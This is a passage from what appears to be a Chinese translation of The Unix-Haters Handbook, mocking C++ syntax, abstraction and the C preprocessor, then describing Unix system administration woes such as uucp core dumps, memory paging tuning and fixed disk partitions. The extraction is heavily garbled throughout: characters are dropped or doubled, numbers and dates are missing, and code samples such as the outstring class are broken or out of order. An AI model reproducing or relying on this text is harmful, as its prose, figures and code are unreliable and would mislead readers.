*)。 我 想 要 个 式 的 法 , 是 斯 特 斯 特 鲁 的 书 没没 有 任 何 线 索 ,<br />
是 任 何 别 的 解解 释 方 式 都 接接 。<br />
如 果 使 用 -E 选 行 编 译 , 就就 发发 现 是 处 理 搞搞 的 鬼 , 我 的 题<br />
是 <br />
. 这 是 否 AT&T 处 理 的 臭 虫 ? 如 果 不 是 , 什 么 ? 如 果 是 臭 虫 ,.<br />
版 是 否 得 到 修 ? 还 是 能 这 么 去去 了 ?<br />
<br />
译 注 Jim Roskind。<br />
<br />
译 注 Scott Meyers, 著 有 《Effective C++》 系 列 。<br />
<br />
译 注 Bjarne Stroustrup,C++ 发发 明 者 。
· · C++<br />
. 这 是 否 GNU 处 理 的 臭 虫 ? 如 果 是 , 什 么 ?<br />
斯 科 特 核 梅 尔尔 斯<br />
sdm@cs.brown.edu<br />
Unix 有 个 老 的 解解 析 规 尽 接接 最 长 的 语 汇汇 。 这 “foo” 就就 不 被被 看 成 个 标 <br />
符 (“f”、“o” 和 “o”), 而 是 一 个 。 请 看 规 在 这 个 程程 序 中 是 多 么 有 用 ( 还 有 选<br />
择 “/*” 作 注 释 开 始 符 是 多 么 明 智 )<br />
double qdiv (p, q)<br />
double *p, *q;<br />
{<br />
return *p/*q;<br />
}<br />
什 么 C++ 不 使 用 的 规 呢 ? 很 简 单 , 这 是 AT&T 编 译 的 臭 虫 。<br />
麦 克 尔尔<br />
对 常 使 用 C++ 的 人 来 , 题 算 小小 菜 一 碟 , 就就 算 使 用 语 言言<br />
的 一 个 能 子 ,C++ 程程 序 难 读 难 懂 。 拿 来 一 个 程程 序 员 的 C++ 码 , 阅<br />
读 并 快 勾 画 出 意 图 是 很 困 难 的 。C++ 毫毫 无 品 言言 , 简 直 是 个 丑 的 大 杂<br />
烩 。C++ 自 诩 向 对 象 的 语 言言 , 却 不 愿 意 承 担 任 何 向 对 象 的 任 。C++<br />
认 , 如 果 有 谁 的 程程 序 复 杂 到 需 要 垃 圾 回 收 、 载 和 类 似 能 , 那 么 <br />
明 他 有 足 够 的 能 力 自 己 写 一 个 , 并 且 有 足 够 的 时 间 调 试 。<br />
C++ 运 算 符 载 拥拥 有 强 大 的 威 力 , 就就 算 是 一 段 比 较 明 显 直 白 的 码 ,<br />
能 被被 你 得 堪 比 最 糟 糕 的 、 闻 所 闻 的 APL、ADA 或或 FORTH 码 。 通 过 运<br />
算 符 载 , 每 个 C++ 程程 序 员 都 能 建 自 己 的 方 言言 , 然 把把 别 人 彻 搞搞 晕 。<br />
且 慢 盒 盒 嘿 盒 盒 在 C++ 甚 至 “ 标 准 ” 的 方 言言 不 过 是 各 家 编 译 自 <br />
自 而 已 。<br />
抽 象 什 么 ?<br />
能 你 觉 得 语 法 是 C++ 最 糟 糕 的 部 分 , 不 过 这 是 初 学 者 的 肤 浅 感<br />
。 一 开 始 用 C++ 编 写 一 个 式 的 大 型 件 , 你 发发 现 C++ 的 抽 象 机 制 从<br />
儿 就就 烂 了 。 而 抽 象 , 如 每 计 算 机 教 材 的 谆 谆 教 , 是 好 计 的 源<br />
泉泉 。<br />
系 各 个 部 分 的 联 生 复 杂 性 。 如 果 你 有 一 个 行 的 程程 序 ,<br />
中 每 一 行 都 和 他 行 码 的 节 相 , 那 你 就就 必 照 着
抽 象 什 么 ?<br />
· ·<br />
种 不 的 联 。 抽 象 是 一 门 艺 术 , 通 过 建 立立 清 的 接接 来 减 少少 这 种 联 , 一<br />
段 现 某 种 能 的 码 当 被被 隐 藏 在 模 块 化 的 边 界 发发 挥 作 用 。<br />
类 是 C++ 的 掩 心 , 然 而 C++ 类 的 现 方 式 却 阻 碍 着 程程 序 的 模 块 化 。 类 暴<br />
露 了 多 内 部 节 , 成 户户 码 强 烈 依 赖 类 的 体 现 。 在 大 多 数 情 况<br />
, 要 对 类 做 一 丁 点 儿 改 , 就就 不 得 不 新 编 译 所 有 使 用 它 的 码 , 这 常<br />
常 成 开 发发 的 停 滞 。 你 的 件 将将 不 再 是 “” 件 , 不 再 塑 , 倒 像 是 一 大<br />
坨 硬 邦 邦 的 快 水水 泥 。<br />
当 然 , 把把 一 半半 码 都 放 头 文 件 确 属属 不 得 已 而 , 因 不 然 就就 无 法<br />
对 外 声 明 类 但 这 一 来 , 声 明 中 的 public/private 自 然 就就 没没 什 么 用 了 , 因<br />
“ 私 密 ” 信 息 就就 放 在 头 文 件 , 所 成 了 “ 开 ” 信 息 。 一 将将 类 放 到 头<br />
文 件 , 你 就就 不 大 愿 意 去去 修 改 , 否 将将 导 致 烦 人 的 新 编 译 。 所 了 避<br />
免 修 改 头 文 件 , 程程 序 员 们 谓 各 显 神 通 , 虽 然 C++ 还 有 别 的 保 护 机 制 , 不 过<br />
就就 象 是 道 路 的 减 路 拱拱 一 , 心 急 的 家 轻 易 绕 过 盒 盒 要 把把 所 有 对<br />
象 都 转 换 成 void *, 嘿 ! 讨 厌 的 类 型 检 查 一 子 就就 没没 有 了 , 整 个 世 界 清 净 了 。<br />
多 别 的 语 言言 都 提 供 了 各 种 计 好 的 抽 象 机 制 , 但 中 要 的 几 个<br />
被被 C++ 丢 掉 了 , 剩 几 个 现 得 不 地 道 , 让 人 既 惑 又 难 解解 。 你 是 否 遇 到<br />
过 真 喜 模 板 的 人 ? 模 板 影 响 了 多 概概 念 的 表表 达 方 式 , 使 既 依 赖 于 出 现<br />
的 文 , 又 依 赖 于 使 用 方 式 。 多 要 的 概概 念 完 全 无 法 通 过 简 单 的 方 式 <br />
表表 达 即 使 表表 达 出 来 了 , 没没 法 提 供 一 个 字 供 直 接接 使 用 。<br />
举 个 例 子 , 了 避 免 各 部 分 码 使 用 的 字 彼 冲 突突 , 字 空空 间 是 常 见<br />
的 手手 段 。 一 个 服 装装 制 件 能 有 个 对 象 做 “Button”( 钮 扣扣 ), 它 能 <br />
和 一 个 用 户户 界 链 接接 , 者 有 个 类 做 “Button”( 按按 钮 )。 如 果 使 用 了<br />
字 空空 间 , 就就 不 有 题 了 , 因 用 法 和 每 个 概概 念 的 意 思 都 很 明 确 , 没没 有 <br />
义 。<br />
但 C++ 的 情 况 并 不 是 这 。 你 使 用 一 个 字 , 但 无 法 确 保 别 人 没没<br />
有 使 用 , 因 果 往 往 很 难 讲 。 唯 一 的 希 望 是 给 字 都 前 缀 , 比 如<br />
ZjxButton, 然 祈 祷 不 要 撞撞 车 。<br />
期 Fri, Mar :: PST<br />
来 自 斯 科 特 核 L 核 伯 森森 <br />
题 处 理 <br />
C 语 言言 粉 丝 告 你 , 处 理 是 C 最 好 的 一 个 能 。 事 , 这 不 是 最 蹩 脚 的<br />
一 个 能 。 多 C 程程 序 一 堆 蜘 蛛 网 似 的 #ifdef 组 成 ( 如 果 各 个 Unix 间 能 够 互 相 <br />
容 , 就就 几 不 成 这 ), 不 过 好 戏 还 在 头 。<br />
C 处 理 有 个 最 大 的 题 它 把把 Unix 锁 在 文 文 件 的 牢 , 然 扔 掉 了 钥 匙匙 。C 源<br />
码 不 能 任 何 它 方 式 存 储 。 什 么 ? 因 编 译 无 法 解解 析 经 过 处 理 的 C<br />
码 。 例 如
· · C++<br />
#ifdef BSD<br />
int foo() {<br />
#else<br />
void foo() {<br />
#endif<br />
/* ... */<br />
}<br />
这 函 数 foo 有 两 种 不 的 开 头 , 舍 的 据据 是 是 否 义 了 宏 “BSD”。 这 段 码 几 无<br />
法 解解 析 ( 就就 我 们 所 知 , 迄 今 从 现 过 )。<br />
无 法 解解 析 码 有 何 不 妥 ? 在 这 种 状 况 , 我 们 无 法 让 编 程程 环 境 更 智 能 。 多 Unix<br />
程程 序 员 对 一 无 所 知 , 因 还 不 知 道 自 己 失 去去 了 什 么 , 如 果 能 够 对 码 行 自 分<br />
析 , 那 么 就就 现 很 多 非 常 有 用 的 能 。<br />
让 我 们 再 看 一 个 例 子 。 在 C 语 言言 流 行 的 , 处 理 被被 认 是 唯 一 能 现 “ 开<br />
码 ”(open-coded, 直 接接 把把 等 效 码 嵌 入 指指 流 , 而 不 是 生 函 数 调 用 ) 的 手手 段 。 对 于<br />
简 单 常 用 的 表表 达 式 , 开 码 是 提 升 性 能 的 要 技 术 。 比 如 , 小小 函 数 min 使 用 宏 现 <br />
#define min(x,y) ((x) < (y) ? (x) : (y))<br />
现 在 假 你 想 写 个 , 打 印 出 程程 序 中 所 有 调 用 了 min 的 函 数 。 去去 不 是 很 难 , 是 不<br />
是 ? 但 是 , 如 果 不 解解 析 程程 序 就就 无 法 知 道 函 数 的 边 界 , 而 如 果 经 过 处 理 就就 无 法 解解 析 ,<br />
是 , 一 经 过 了 处 理 , 所 有 的 min 就就 不 复 存 在 了 ! 所 , 你 能 去去 用 grep 了 。<br />
使 用 处 理 现 开 码 还 有 他 题 。 例 如 在 的 min 宏 , 你 一 注 意 到 了 那 些 多<br />
余 的 括括 。 事 , 这 些 括括 并 不 多 余 , 否 在 一 个 表表 达 式 中 展展 开 min 时 , 结 果 能<br />
出 人 意 料 ( 老 , 有 些 括括 确 是 多 余 的 盒 盒 至 于 那 些 括括 是 省 略 的 , 及 原原 因 ,<br />
就就 读 者 自 己 思 考 吧 )。<br />
min 宏 有 个 最 险 恶 的 题 虽 然 用 起 来 象 是 个 函 数 调 用 , 但 并 不 是 真 函 数 。 看 这 个 例 子 <br />
a = min(b++, c);<br />
处 理 , 成 了 <br />
a = ((b++) < (c) ? (b++) : (c))<br />
如 果 ‘b 盖 小小 于 ‘c 盖 ,‘b 盖 自 增 两 而 不 是 一 , 返 回 的 将将 是 ‘b 盖 的 原原 始 值 一 。<br />
如 果 min 真 是 函 数 , 那 么 ‘b 盖 将将 自 增 一 , 且 返 回 值 将将 是 ‘b 盖 的 原原 始 值 。<br />
C++ 之 于 C, 和 肺 癌 之 于 肺<br />
“ 如 果 C 语 言言 给 的 绳 子 足 够 你 , 那 么 C++ 给 的 绳 子 够 你 先 给 邻<br />
居居 来 个 五 花 大 绑 , 再 给 一 艘 小小 船 升 帆 , 最 在 帆 桁 死 。”<br />
盒 盒 匿匿
程 序 员 的 进 化<br />
· ·<br />
有 件 事 情 起 来 真 是 悲 哀 学 C++ 大 概概 是 每 个 计 算 机 科 学 家 和 严 肃 程程<br />
序 员 的 第 一 要 ,C++ 能 力 迅 成 简 历 中 的 一 行 , 而 在 过 去去 的 几 中 , 我<br />
们 见 过 多 用 C++ 写 码 的 程程 序 员 , 中 甚 至 有 人 写 得 很 不 错 , 但 是 …盚…盚<br />
…盚…盚 他 们 都 痛 C++。<br />
程 序 员 的 进 化<br />
[ 尽 管 我 们 很 愿 意 , 但 文 字 在 网 流 传 久 了 , 所 没没 法 找 到 最 初<br />
的 作 者 。 盒 盒 编 辑 注 。]<br />
初 中 / 高 中<br />
0 PRINT "HELLO WORLD"<br />
0 END<br />
大 学 一 年 级<br />
program Hello(input, output);<br />
begin<br />
writeln('Hello world');<br />
end.<br />
大 学 四 年 级<br />
(defun hello ()<br />
(print (list 'HELLO 'WORLD)))<br />
刚 参 工 作<br />
#include <br />
main (argc, argv)<br />
int argc;<br />
char **argv; {
· · C++<br />
}<br />
printf ("Hello World!\n");<br />
老 手<br />
#include <br />
const int MAXLEN = 0;<br />
class outstring;<br />
class outstring {<br />
private:<br />
int size;<br />
char str[MAXLEN];<br />
};<br />
public:<br />
outstring() size=0;<br />
~outstring() size=0;<br />
void print();<br />
void assign(char *chrs);<br />
void outstring::print() {<br />
int in;<br />
for (i=0; i
程 序 员 的 进 化<br />
· ·<br />
}<br />
outstring string;<br />
string.assign("Hello World!");<br />
string.print();<br />
当 了 老 板<br />
“ 乔 治治 , 我 需 要 一 个 程程 序 能 打 印 'Hello World!'”
第 部 分<br />
管 理 员 的 噩 梦
第 章<br />
系 统 管 理<br />
Unix 的 隐 藏 本捹<br />
如 果 按按 照 开 发发 件 的 方 式 制 汽汽 车 , 那 么 今 一 辆 斯 莱 斯 卖 <br />
美 , 一 仑 汽汽 油 跑 万 英 , 但 每 都 车 毁 人 亡 一 。<br />
盒 盒 罗 伯 特 核 克 林 格 ,InfoWorld <br />
所 有 的 Unix 系 都 需 要 管 理 员 , 就就 是 人 见 人 爱 的 系 管 理 员 。 系 <br />
管 理 员 的 包 括括 <br />
• 启 系 。<br />
• 装装 新 件 。<br />
• 管 理 用 户户 帐 。<br />
• 化 系 性 能 。<br />
• 控 系 全 。<br />
• 负 例 行 备 份 。<br />
• 机 装装 新 硬 件 。<br />
• 帮 有 麻 烦 的 用 户户 。<br />
和 维 护 IBM 大 型 机 或或 者 基 于 PC 的 Novell 网 相 比 ,Unix 系 管 理 员 的<br />
作 是 截截 然 不 的 , 但 Unix 让 这 些 事 情 更 困 难 , 更 钱 。 的 中 心 思<br />
想 是 维 护 Unix 很 不 经 济 , 和 维 护 运 行 的 硬 件 相 比 , 保 持 Unix 运 行 的 总<br />
体 成 还 要 高 得 多 。<br />
<br />
译 注 Robert Cringely, 知 IT 专 栏 作 家 , 真 马 克 核 斯 蒂 芬 (Mark Stephens)。<br />
<br />
译 注 www.infoworld.com。
· · 系 统 管 理<br />
联 网 的 Unix 作 站 比 单 机 需 要 更 多 维 护 , 因 Unix 不 时 向 网 的 邻<br />
居居 扔 垃 圾 。 据据 一 份 估 计 , 每 当 卖 出 到 Unix 作 站 , 就就 出 至<br />
少少 一 个 专 系 管 理 员 , 这 让 Unix 系 管 理 员 很 吃 香 。 当 然 苹 果 电<br />
脑 或或 者 PC 组 成 的 类 似 网 需 要 有 人 维 护 , 但 不 用 投 入 全 部 精 力 , 管 理 员<br />
就就 能 让 一 切 稳稳 作 , 不 致 陷 入 Unix 那 的 混 乱 。 这 些 管 理 员 常 常 还 有 别<br />
的 , 或或 者 多 用 当 。<br />
有 些 Unix 系 管 理 员 简 直 被被 作 压 垮 了 。<br />
期 wed, jun :: edt<br />
来 自 布 鲁 斯 核 豪 尔尔 德 <br />
发发 给 UNIX 痛 者<br />
题 我 的 故 事<br />
在 过 去去 的 两 我 收 到 成 百 千千 消 息 “ 你 的 邮 件 仍 无 法 投 递 ”, 因 有 Unix 机 <br />
的 UUCP 邮 件 程程 序 不 知 道 如 何 确 回 邮 件 。 我 备 打 击 、 饱 羞 辱 , 甚 至 心 碎 欲 <br />
Sendmail 有 时 候 检 测 不 到 邮 件 的 题 , 有 时 候 甚 至 就就 是 它 自 己 搞搞 出 这 些 事 情 , 像 什 么 循<br />
环 邮 件 、 反 复 报 告 知 错 误 的 消 息 , 及 莫 且 随 意 修 改 我 的 邮 件 头 部 ( 包 括括 所 有 收<br />
件 人 和 多 个 域 中 的 期 )。<br />
Unix 让 我 一 几 不 眠 不 休 , 一 直 装装 、 再 装装 、 再 格 掉 、 再 启 , 然 在 周 五 晚 还<br />
要 恶 趣 味 地 折折 腾 文 件 系 。 我 女 朋 友 离 我 而 去去 了 ( 嘟 囔 着 “ 喜 拼 凑 真 是 恶 ,Unix 就就<br />
是 胡 拼 乱 凑 出 来 的 ”), 我 的 换 档 键 不 见 了 。 我 的 表表 情 已 经 扭 曲 , 有 望 挥 不 去去 。<br />
求 求 你 , 请 帮 我 一 。<br />
每 美 人 维 护 机 , 相 当 于 每 机 每 美<br />
。 型 的 端 Unix 作 站 价 格 在 至 美 间 , 大 约 每 两 更<br />
换 一 。 综 硬 件 两 方 的 成 就就 很 清 楚楚 了 , 那 些 称 更 划 算 的 “ 开 放 系<br />
” 的 “ 方 案 ” 不 划 算 。<br />
让 Unix 持拟 续 运 行 , 还 要 调 校掦 到 位<br />
系 管 理 员 就就 是 拿 高 薪 的 保 姆 。 消 化 营 丰 富 的 食 物 , 婴 儿 在 尿 布 <br />
拉拉 大 便 Unix 在 整 个 文 件 系 和 网 中 拉拉 吐 文 件 , 原原 因 包 括括 程程 序<br />
崩 溃 、 找 不 到 临 时 文 件 、 混 乱 的 文 件 , 及 非 法 的 网 广 播播 等 等 。 婴 儿<br />
是 偶 尔尔 把把 大 便 到 外 , 但 Unix 和 排排 泄泄 物 玩 起 捉捉 藏 。 如 果 没没 有 经 验<br />
丰 富 的 管 理 员 及 时 打 理 , 系 逐 渐 耗 尽 存 储 空空 间 , 而 发发 臭 、 不 悦 、 抱抱 怨<br />
甚 至 一 命 呜 呼 。<br />
有 些 系 腹 泻 得 厉厉 害 , 换 尿 布 都 得 自 行 。<br />
<br />
译 注 这 封封 信 的 原原 文 全 都 是 小小 写 字 母 。
让 Unix 持拟 续 运 行 , 还 要 调 校掦 到 位<br />
· ·<br />
期 Sep :: GMT<br />
来 自 alan@mq.com( 艾 伦 核 H 核 明 茨 )<br />
题 回 复 uucp 吐 <br />
新 闻 组 comp.unix.xenix.sco<br />
在 文 当 中 ,corwin@polari.UUCP( 唐 核 格 洛 ) 写 到 <br />
一 段 时 间 来 我 一 直 在 /usr/spool/uucp 发发 现 uucp 的 吐 文 件 , 删 除 <br />
还 出 现 …盚…盚<br />
是 的 。SCO HDB uucp 的 发发 行 明 已 经 指指 出 ,“uucico 通 常 都 吐 ”, 所 这 是 常 的 。<br />
缺 省 装装 的 SCO 系 有 一 个 cron 脚 , 负 时 将将 吐 文 件 从 /usr/spool/uucp 删<br />
除 。<br />
如 果 婴 儿 不 烦 躁 , 保 姆 一 般 看 电 视 打 发发 时 间 ( 有 时 候 做 做 课 ) 系<br />
管 理 员 在 显 示 前 , 一 边 网 看 新 闻 , 一 边 留 意 警 告 、 错 误 和 用 户户<br />
抱抱 怨 ( 有 时 候 做 做 课 )。 大 型 Unix 网 不 喜 离 慈 母 般 的 管 理 员 , 因<br />
经 常 需 要 者 半半 夜 拨 来 拍 背 抚 。<br />
Unix 系 统 的 老 化 时捉 间 周 记 , 而 不 是捔 年 记<br />
Unix 是 在 一 个 研 究 环 境 中 开 发发 的 , 因 系 开 机 运 行 时 间 很 。Unix<br />
生 来 就就 不 是 了 续 运 行 几 周 , 更 不 要 一 直 不 机 了 。 与 臭 味 相 投 的 <br />
是 Unix 和 用 ( 尤尤 伯 克 利 甚 ) 似 是 而 非 的 开 发发 方 式 程程 序 员 敲 <br />
码 , 编 译 运 行 , 然 就就 等 着 程程 序 崩 溃 , 如 果 最 没没 有 发发 生 , 就就 假 能 够<br />
确 运 行 。 在 这 种 开 发发 文 化 中 , 对 第 方 用 开 发发 者 至 要 的 品 控<br />
制 没没 有 地 。<br />
这 种 方 法 用 来 完 成 操 作 系 课 程程 的 学 期 目 还 凑 活 , 但 却 给 必 续<br />
运 行 数 、 数 周 或或 数 月 的 品 码 中 留 癌 症 的 病 灶 。 因 大 多 数 要 的<br />
Unix 版 运 行 几 都 表表 现 出 症 状 , 包 括括 内 存 泄泄 露 、 垃 圾 堆 积 和 地 址 破<br />
。<br />
续 运 行 几 突突 然 崩 溃 的 程程 序 很 难 调 试 , 因 将将 调 试 接接 到 运 行<br />
中 的 程程 序 很 难 ( 接接 到 崩 溃 的 程程 序 不 能 ), 因 题 通 常 不 能 修<br />
复 ( 甚 至 无 法 录 ), 而 了 Unix 发发 展展 成 老 痴 呆 , 不 断 启 就就 成 了<br />
最 的 手手 段 。<br />
期 Sat, Feb :: PST<br />
来 自 理 查 德 核 马 纳 利 克 <br />
<br />
译 注 Alan H. Mintz。<br />
<br />
译 注 Don Glover。<br />
<br />
译 注 HDB uucp 是 AT&T 研 究 员 皮 特 核 赫 尼 曼 (Peter Honeyman)、 大 卫卫 核 诺 维 茨 (David A.<br />
Nowitz) 和 布 莱 核 瑞 德 曼 (Brian E. Redman) 对 原原 版 uucp 的 写 版 。
· · 系 统 管 理<br />
发发 给 UNIX 痛 者<br />
题 而 我 那 是 <br />
这 就就 是 我 , 在 月 被被 Unix 搞搞 晕 了 <br />
% make -k xds<br />
sh: Bus error<br />
make: Fatal error: The command `date "+%y * %m + * %d + * %H +<br />
0 * %M + p" | dc' returned status '00'<br />
Compilation exited abnormally with code at Sat Feb :0:<br />
一 开 始 看 过 一 个 热 烈 的 帖 子 提 到 Unix 无 法 处 理 的 期 , 我 很 激 找 到 了 答<br />
案 , 但 一 的 调 查 盒 盒 有 没没 有 什 么 Unix 故 障 不 需 要 经 过 深 入 仔 、 漫 无 目 标 、 没没 有 <br />
且 人 气 馁 的 调 查 ? 盒 盒 发发 现 题 是 这 机 运 行 久 了 。<br />
因 ispell 程程 序 告 我 <br />
swap space exhausted for mmap data of /usr/lib/libc.so.. is not a<br />
known word<br />
真 是 一 惊 醒 梦 中 人 , 很 明 显 经 过 小小 时 分 钟 吐 和 调 试 调 试 的 ,<br />
这 怜 机 的 交 换 空空 间 被被 既 无 法 回 收 又 无 法 压 缩 的 垃 圾 填 满 了 。<br />
重 启 时捉 间 就就 过 了 !<br />
读 完 理 查 德 核 马 纳 利 克 的 邮 件 , 要 最 让 我 们 吃 惊 的 地 方 , 当 然 是<br />
他 的 Unix 然 没没 有 自 启 。<br />
烂 泥 糊 不 墙<br />
了 满 足 不 的 需 求 并 各 种 环 境 ,Unix 有 大 供 调 整 性 能 的 参参 数 。<br />
中 有 些 参参 数 是 置 系 资 源 的 限 , 但 更 高 级 的 操 作 系 是 分 配<br />
大 多 数 资 源 外 一 些 参参 数 很 要 , 比 如 系 程程 的 相 对 先 级 。 系 管 理<br />
员 的 作 就就 包 括括 将将 缺 省 参参 数 置 确 的 值 ( 你 已 经 在 想 , 什 么 厂厂 商 不 直<br />
接接 调 整 件 的 缺 省 参参 数 来 匹 配 硬 件 配 置 呢 ?), 过 程程 被被 称 “ 系 调 校 ”。<br />
于 这 个 题 已 经 有 整 整 的 书 在 卖 了 。<br />
调 校 系 有 时 候 需 要 新 编 译 内 , 或或 者 盒 盒 要 是 你 碰 不 提 供 源 <br />
码 的 商 业 “ 开 放 系 ” 盒 盒 用 调 试 手手 打 补补 丁 。 于 缺 文 档 , 一 般 的<br />
用 户户 和 管 理 员 完 全 不 知 道 调 整 哪 些 参参 数 才 有 效 。<br />
还 好 , 经 验 最 丰 富 的 管 理 员 ( 但 一 般 都 对 Unix 没没 什 么 信 心 ) 还 是 能 搞搞<br />
。
磁 盘 分 区 和 备 份<br />
· ·<br />
期 Tuesday, January , :AM<br />
来 自 罗 伯 特 核 E 核 西 斯 托托 姆 <br />
发发 给 UNIX 痛 者<br />
题 多 么 愚 蠢蠢 的 算 法<br />
我 知 道 , 在 这 如 果 要 真 写 点 东 西 , 必 要 小小 心 拿 捏捏 分 寸 , 但 是 见 鬼 去去 吧 , 人 活 一<br />
, 不 是 吗 ?<br />
不 管 怎 么 , 我 把把 SPARCstation ELC 买 来 家 用 真 是 脑 子 水水 了 。 这 机 配 备 了 M<br />
硬 和 M 内 存 , 我 当 时 觉 得 M 大 概概 够 用 了 , 但 运 行 pstat 却 发发 现 , 就就 在<br />
常 常 的 一 盒 盒 运 行 Ecch 窗窗 、 几 个 Emacs、 几 个 端 , 有 时 候 还 有 xload 或或 者<br />
xclock 盒 盒 我 就就 用 去去 了 多 达 到 M 内 存 。<br />
但 是 今 我 写 这 些 , 不 是 了 何 两 个 Emacs 和 一 个 窗窗 管 理 占 用 的 内 存 就就 比<br />
AI KS- 高 五 倍 , 而 是 要 虚 拟拟 内 存 系 。<br />
什 么 当 我 离 开 我 忠 诚 的 作 站 一 儿 再 回 来 碰 碰 鼠 标 盒 盒 呤 哐 啷 一 乱 响 盒 盒<br />
所 有 的 程程 页 又 换 入 内 存 ?<br />
我 的 意 思 是 , 什 么 一 开 始 要 将将 程程 换 出 ? 系 不 像 是 需 要 那 些 内 存 , 看 在 老 的 份 <br />
盒 盒 不 还 有 、M 空空 闲 内 存 吗 ?<br />
好 吧 , 是 这 的 。 我 ( 在 阅 读 换 页 码 但 一 无 所 获 ) 到 abUsenet 有 探探 子 , 内<br />
的 换 页 码 有 个 神 秘秘 的 maxslp( 没没 有 音 障 碍 症 的 人 读 作 “ 曼 克 斯 - 斯 ”) 参参 数 ,<br />
告 系 把把 睡 眠 超 过 这 段 时 间 的 程程 当 作 “ 长 眠 不 醒 ”, 然 不 管 七 二 十十 一 将将 内 存<br />
页 交 换 到 磁 。<br />
这 个 参参 数 的 缺 省 值 是 。 所 要 我 离 开 机 超 过 秒 , 接接 个 电 或或 别 的 什 么 , 操 作<br />
系 就就 把把 那 些 在 等 待 键 输 入 程程 换 出 。 所 系 就就 有 很 多 空空 闲 内 存 , 启 新 的<br />
程程 , 或或 者 当 作 缓 冲 区 ( 给 那 些 无 疑 已 经 被被 换 出 的 程程 输 入 输 出 用 )。 了 。 于 是 我 操<br />
起 高 性 能 多 能 的 调 试 王 (adb), 把把 maxslp 改 得 一 点 ( 比 如 )。<br />
来 嘛 , 要 内 存 还 没没 用 完 , 系 就就 不 该 换 页 ! 完 事 !<br />
这 些 作 站 不 是 有 M 内 存 的 VAXen , 现 在 不 是 了 , 把把 程程 换 出 是 了<br />
增 空空 闲 内 存 对 没没 有 好 处 , 什 么 就就 没没 人 把把 这 些 告 Sun ? 你 什 么 ? 对 , 我<br />
了 , 原原 来 Sun 希 望 新 推 出 的 快 作 站 , 却 希 望捳 用 户户 的 感 觉 是 有 M 内 存 且 负 载<br />
因 子 高 达 的 VAX / 。 真 心 情 啊 , 有 没没 有 ?<br />
我 嘞 个 去去 。<br />
磁 盘 分 区 和 备 份<br />
在 任 何 计 算 机 系 , 磁 空空 间 管 理 都 是 一 件 琐 事 , 但 对 于 Unix 却 是<br />
一 件 大 事 。 在 装装 Unix 前 , 你 必 决 给 每 个 分 区 分 配 多 少少 空空 间 。Unix<br />
把把 你 的 磁 伪 装装 成 一 组 较 小小 的 磁 ( 中 每 个 都 有 一 个 完 整 的 文 件 系 ),<br />
这 和 别 的 系 例 如 TOPS- 截截 然 相 反 , 者 把把 一 组 较 小小 的 物 理 磁 虚 拟拟 成<br />
较 大 的 逻 辑 磁 。<br />
<br />
译 注 Sun 推 出 的 端 作 站 ,CPU 富 士 通 MB 或或 者 Weitek W, 操 作 系 是<br />
SunOS ..c, 价 格 美 。<br />
<br />
译 注 对 VAX 的 复 数 称 呼 , 还 有 一 种 法 是 VAXes。<br />
<br />
译 注 DEC 在 生 的 小小 型 机 , 频 .Mhz。
· · 系 统 管 理<br />
至 于 磁 分 区 带 来 的 每 种 所 谓 能 , 都 不 过 是 在 掩 某 些 程程 序 臭 虫 或或<br />
者 计 失 误 。 例 如 , 通 过 在 分 区 运 行 dump 程程 序 , 用 户户 能 够 备 份 一 部 分 而<br />
不 是 全 部 磁 内 容 , 但 这 个 “ 能 ” 所 有 用 , 是 因 dump 程程 序 能<br />
备 份 整 个 文 件 系 又 比 如 磁 分 区 是 作 某 种 配 额 机 制 引 入 的 , 目 的 是 <br />
失 控 的 程程 或或 用 户户 用 光 磁 空空 间 这 个 “ 能 ” 掩 了 一 个 缺 陷 , 即 文<br />
件 系 无 法 目 录 或或 者 自 身 的 一 部 分 置 配 额 限 制 。<br />
这 些 “ 能 ” 还 引 起 了 更 多 臭 虫 和 题 , 自 然 而 然 地 , 都 需 要 系 管<br />
理 员 ( 及 持 续 花 钱 ) 来 擦 屁 。 当 /tmp 目 录 被被 程程 序 或或 用 户户 塞 满 ,Unix<br />
一 般 无 法 常 运 行 , 例 如 大 多 数 程程 序 都 需 要 临 时 磁 空空 间 , 这 时 候 肯 没没<br />
戏 , 因 大 多 数 Unix 程程 序 并 不 检 查 写 入 磁 是 否 成 , 管 开 心 地 往 执执<br />
行 , 结 果 把把 你 的 邮 件 往 塞 满 的 磁 装装 。 系 管 理 员 来 了 , 他 用 启 系 <br />
“ 解解 决 ” 这 个 题 , 因 在 启 过 程程 中 /tmp 目 录 的 垃 圾 堆 被被 清 空空 。 现 在<br />
你 知 道 何 启 时 删 除 /tmp 的 所 有 内 容 了 。<br />
把把 /tmp 目 录 放 在 一 个 “ 大 ” 分 区 中 , 那 么 即 使 程程 序 真 的 占 用 很 多 空空 间<br />
是 不 是 系 仍 作 ? 这 是 把把 题 挪 了 个 地 方 , 不 过 是 个 障 眼 法 而<br />
已 。 分 区 中 精 心 规 划 的 空空 间 或或 能 用 一 两 , 而 无 法 存 放 别 的 信 息 盒 盒<br />
比 如 一 个 分 区 中 的 用 户户 文 件 , 因 在 大 多 数 时 间 就就 那 么 闲 置 着 。 喂 , 现<br />
在 磁 便 啊 。 但 不 管 把把 /tmp 分 得 多 大 , 用 户户 总 不 够 用 例 如 某 给<br />
文 件 排排 序 , 所 需 的 临 时 文 件 就就 是 比 整 个 /tmp 分 区 大 字 节 。 你 能 嘛 ? 找<br />
到 金 贵 的 系 管 理 员 , 把把 整 个 系 备 份 到 磁 带 ( 当 然 这 个 过 程程 能 在 单 用 户户<br />
模 式 行 ), 然 给 磁 新 分 区 , 把把 /tmp 搞搞 大 些 ( 相 缩 小小 别 的 分<br />
区 , 除 非 买 个 新 磁 ), 再 把把 磁 带 的 系 恢 复 出 来 盒 盒 宕 机 时 间 更 长 , 成<br />
更 高 。<br />
交 换 分 区 是 “ 大 小小 固 却 经 常 觉 得 不 够 用 ” 的 又 一 个 例 子 。 过 去去 磁 <br />
容 很 小小 , 并 且 高 磁 十十 分 昂 贵 , 因 把把 整 个 交 换 分 区 放 在 一 个 小小 容 高<br />
磁 是 理 的 。 但 今 再 把把 交 换 分 区 置 成 固 大 小小 就就 没没 道 理 了 , 因<br />
装装 新 装装 程程 序 ( 尤尤 是 X 程程 序 !), 交 换 分 区 常 常 得 不 够 用 。 当 交<br />
换 分 区 用 完 时 Unix 难 过 吗 ? 喝 完 克 力 牛 奶 还 想 要 时 哭 吗 ? 这 时<br />
Unix 发发 狂 程程 被被 不 警 告 地 , 作 站 的 窗窗 就就 地 蒸 发发 , 系 行<br />
像 见 了 鬼 , 甚 至 脆 崩 溃 了 事 。 想 扩扩 大 交 换 分 区 来 解解 决 题 吗 ? 找 到 金 贵<br />
